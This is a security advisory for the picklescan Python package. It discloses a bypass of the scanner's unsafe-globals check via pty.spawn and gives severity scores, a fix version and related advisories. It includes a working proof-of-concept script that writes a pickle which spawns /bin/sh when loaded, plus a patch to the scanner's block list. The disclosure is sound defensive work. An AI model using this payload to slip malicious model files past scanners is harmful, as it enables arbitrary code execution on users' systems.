Skip to content

GHSA-hgrh-qx5j-jfwx CVE-2025-71322 PYSEC-2026-1790

Picklescan Bypasses Unsafe Globals Check using pty.spawn

High PyPI
Severity
8.7 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.38%
Chance of exploitation in the next 30 days. Higher than 32.45% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-693 Protection Mechanism Failure
Fix
0.0.33
Upgrade picklescan to this version or later

Description

Summary

The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the pty library (more specifically, of the pty.spawn function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats.

Details

For 2025's HeroCTF, there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and Fickling to gain code execution. The challenge writeup, files and solve script have all been released.

The intended way was to use pty.spawn but some players found alternative solutions.

PoC

  • Run the following Python code to generate the PoC pickle file.
import pickle

command = b"/bin/sh"

payload = b"".join(
    [
        pickle.PROTO + pickle.pack("B", 4),
        pickle.MARK,
        pickle.GLOBAL + b"pty\n" + b"spawn\n",
        pickle.EMPTY_LIST,
        pickle.SHORT_BINUNICODE + pickle.pack("B", len(command)) + command,
        pickle.APPEND,
        # Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes
        pickle.OBJ,
        pickle.STOP,
    ]
)

with open("dump.pkl", "wb") as f:
    f.write(payload)
  • Run PickleScan on the generated pickle file. <img width="936" height="311" alt="picklescan_bypass_pty_spawn" src="https://github.com/user-attachments/assets/0d6430e4-a7e5-461c-9d75-c607f6886c9f" />

PickleScan detects the pty.spawn global as "suspicious" but not "dangerous", allowing it to be loaded.

Impact

Severity: High Affected Users: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content. Impact Details: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the pty.spawn function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded.

Suggested Patch

diff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py
index 34a5715..b434069 100644
--- a/src/picklescan/scanner.py
+++ b/src/picklescan/scanner.py
@@ -150,6 +150,7 @@ _unsafe_globals = {
     "_pickle": "*",
     "pip": "*",
     "profile": {"Profile.run", "Profile.runctx"},
+    "pty": "spawn",
     "pydoc": "pipepager",  # pydoc.pipepager('help','echo pwned')
     "timeit": "*",
     "torch._dynamo.guards": {"GuardBuilder.get"},

Affected versions

PyPI

PackageVulnerableFixed in
picklescan
< 0.0.33
0.0.33

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

picklescan PyPI → 0.0.33

pip
pip install --upgrade "picklescan>=0.0.33"
poetry
poetry add "picklescan>=0.0.33"
uv
uv add "picklescan>=0.0.33"

Severity breakdown

CVSS 4.0 8.7

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
Passive
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-693: Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-g38g-8gr9-h9xp
PickleScan has multiple stdlib modules with direct RCE not in blocklist
Critical Also affects picklescan
GHSA-vvpj-8cmc-gx39
PickleScan's pkgutil.resolve_name has a universal blocklist bypass
Critical Also affects picklescan
GHSA-7wx9-6375-f5wh
PickleScan's profile.run blocklist mismatch allows exec() bypass
Critical Also affects picklescan
GHSA-97f8-7cmv-76j2
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
High Also affects picklescan
GHSA-m7j5-r2p5-c39r
picklescan vulnerable to arbitrary file create using logging.FileHandler
Medium Also affects picklescan
GHSA-9m3x-qqw2-h32h
picklescan missing detection by simple obfuscation of a `builtins.eval` call
Critical Also affects picklescan
GHSA-9726-w42j-3qjr
picklescan has Arbitrary file read using `io.FileIO`
High Also affects picklescan
GHSA-46h3-79wf-xr6c
Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter
High Also affects picklescan
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor